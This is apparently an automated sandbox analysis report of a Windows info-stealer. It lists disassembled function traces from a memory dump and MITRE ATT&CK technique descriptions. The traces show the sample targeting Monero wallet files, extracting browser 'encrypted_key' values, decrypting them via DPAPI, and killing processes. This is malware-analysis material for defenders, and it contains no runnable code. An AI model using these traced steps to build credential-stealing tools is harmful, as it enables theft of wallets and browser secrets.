Part of subcall function 00E58B60: GetSystemTime.KERNEL32(00E60E1A,01CBAD00,00E605AE,?,?,00E413F9,?,0000001A,00E60E1A,00000000,?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E58B86

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E4D481
lstrlen.KERNEL32(00000000), ref: 00E4D698
lstrlen.KERNEL32(00000000), ref: 00E4D6AC
DeleteFileA.KERNEL32(00000000), ref: 00E4D72B

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 1c68581d237b2873806fb11dc7f215ce0481ae8ae92e1dad1fb382049cf3b3cc
Instruction ID: 66249ccc20d31213f75660a875c5d564d153bf40c1a4a8943da126b6bd571920
Opcode Fuzzy Hash: 1c68581d237b2873806fb11dc7f215ce0481ae8ae92e1dad1fb382049cf3b3cc
Instruction Fuzzy Hash: EC911E729101189ACB18FBA0DC96DEE7378BF54301F545A79F947B2092EF346A0DCB62

Function 00E4D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

Part of subcall function 00E58B60: GetSystemTime.KERNEL32(00E60E1A,01CBAD00,00E605AE,?,?,00E413F9,?,0000001A,00E60E1A,00000000,?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E58B86

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E4D801
lstrlen.KERNEL32(00000000), ref: 00E4D99F
lstrlen.KERNEL32(00000000), ref: 00E4D9B3
DeleteFileA.KERNEL32(00000000), ref: 00E4DA32

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 815199c9915c212e244cfe8b7d4909bc5ec48dd61810f4db2a794f6954f5deb7
Instruction ID: 6691eaecc4969c37c99ded2a1c4a2b1eacb97e38e64fbc0f5b2f41e814f2f0c0
Opcode Fuzzy Hash: 815199c9915c212e244cfe8b7d4909bc5ec48dd61810f4db2a794f6954f5deb7
Instruction Fuzzy Hash: 48811E729101189ACB18FBA4DC96DEE7378BF54301F445A39F947B6092EF346A0DCB62

Function 00E53560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: c6f262f21a4423362b82930a0a7e59d874ca06f8d3f594463b95cdf02ed8317a
Instruction ID: eb21cdafa620a69b49b3cd3d8fe75b77106f5d72d158f4ef844732318c5fa922
Opcode Fuzzy Hash: c6f262f21a4423362b82930a0a7e59d874ca06f8d3f594463b95cdf02ed8317a
Instruction Fuzzy Hash: 7E416171D10208EFCB04EFB4D845AEEB7B4BF44345F049929E91677281DB759A09CFA2

Function 00E49CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E499EC
Part of subcall function 00E499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E49A11
Part of subcall function 00E499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E49A31
Part of subcall function 00E499C0: ReadFile.KERNEL32(000000FF,?,00000000,00E4148F,00000000), ref: 00E49A5A
Part of subcall function 00E499C0: LocalFree.KERNEL32(00E4148F), ref: 00E49A90
Part of subcall function 00E499C0: CloseHandle.KERNEL32(000000FF), ref: 00E49A9A

Part of subcall function 00E58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E58E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00E49D39

Part of subcall function 00E49AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E49AEF
Part of subcall function 00E49AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00E44EEE,00000000,?), ref: 00E49B01
Part of subcall function 00E49AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E49B2A
Part of subcall function 00E49AC0: LocalFree.KERNEL32(?,?,?,?,00E44EEE,00000000,?), ref: 00E49B3F

Part of subcall function 00E49B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00E49B84
Part of subcall function 00E49B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00E49BA3
Part of subcall function 00E49B60: LocalFree.KERNEL32(?), ref: 00E49BD3

Strings

DPAPI, xrefs: 00E49D89
, xrefs: 00E49DC1
"encrypted_key":", xrefs: 00E49D30

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: a768bb1c0aba9fb58ce9c8eb62675aa7454c1fb2a819d1ca7168b31be86593c3
Instruction ID: 3bc492d923f7f4eb4b2601d7348d3b5d1cbca8ff5f5b139776e2330b85860f70
Opcode Fuzzy Hash: a768bb1c0aba9fb58ce9c8eb62675aa7454c1fb2a819d1ca7168b31be86593c3
Instruction Fuzzy Hash: 593132B6D10209ABCF14DFE4ED85AEFB7B8BF48304F145559E905B7242EB349A04CBA1

Function 00E594D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00E594EB

Part of subcall function 00E58D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00E5951E,00000000), ref: 00E58D5B
Part of subcall function 00E58D50: RtlAllocateHeap.NTDLL(00000000), ref: 00E58D62
Part of subcall function 00E58D50: wsprintfW.USER32 ref: 00E58D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00E595AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00E595C9
CloseHandle.KERNEL32(00000000), ref: 00E595D6

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 47176acb610448a1ee26232607143d4efa23797e64b24cf31a3b6f52bc424276
Instruction ID: f8402ee912c12779a76614cecb08667c5d2e63cd4f725521f534a00f7c33e5f4
Opcode Fuzzy Hash: 47176acb610448a1ee26232607143d4efa23797e64b24cf31a3b6f52bc424276
Instruction Fuzzy Hash: 78313E71E00208DFDB14DBD0CD49BEDB7B8FB44301F104559E906AB589EB799A89CB51

Function 00E5C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00E5C74E

Part of subcall function 00E5BF9F: __amsg_exit.LIBCMT ref: 00E5BFAF

__getptd.LIBCMT ref: 00E5C765
__amsg_exit.LIBCMT ref: 00E5C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00E5C797

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 6b523b54ff9451acb484281174116a72d6695eee5196930001e0e9327ea9ab95
Instruction ID: 1f06d7bd17b8396191adaa47c6a36ab57ece2094abc66cf904b29ff67484f9aa
Opcode Fuzzy Hash: 6b523b54ff9451acb484281174116a72d6695eee5196930001e0e9327ea9ab95
Instruction Fuzzy Hash: D2F09032A007109FD720BBB85C0674A33E06F04767F38694AFC14B65D2DB6459889E66

Function 00E54F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E58E0B

lstrcat.KERNEL32(?,00000000), ref: 00E54F7A
lstrcat.KERNEL32(?,00E61070), ref: 00E54F97
lstrcat.KERNEL32(?,01CB98E0), ref: 00E54FAB
lstrcat.KERNEL32(?,00E61074), ref: 00E54FBD

Part of subcall function 00E54910: wsprintfA.USER32 ref: 00E5492C
Part of subcall function 00E54910: FindFirstFileA.KERNEL32(?,?), ref: 00E54943

Part of subcall function 00E54910: StrCmpCA.SHLWAPI(?,00E60FDC), ref: 00E54971
Part of subcall function 00E54910: StrCmpCA.SHLWAPI(?,00E60FE0), ref: 00E54987
Part of subcall function 00E54910: FindNextFileA.KERNEL32(000000FF,?), ref: 00E54B7D
Part of subcall function 00E54910: FindClose.KERNEL32(000000FF), ref: 00E54B92

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 050fc495dfba3ba6762f9279f713897a26709b7692211042143276dc13ff6ead
Instruction ID: 1225150ab174e6a42c49fd3b2684af95ada6a0753c3d2c7080e9bc2945c51569
Opcode Fuzzy Hash: 050fc495dfba3ba6762f9279f713897a26709b7692211042143276dc13ff6ead
Instruction Fuzzy Hash: B121CD76A04204E7CB64F770EC46EED337CA754300F005595B6C963585EE7996CCCBA1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
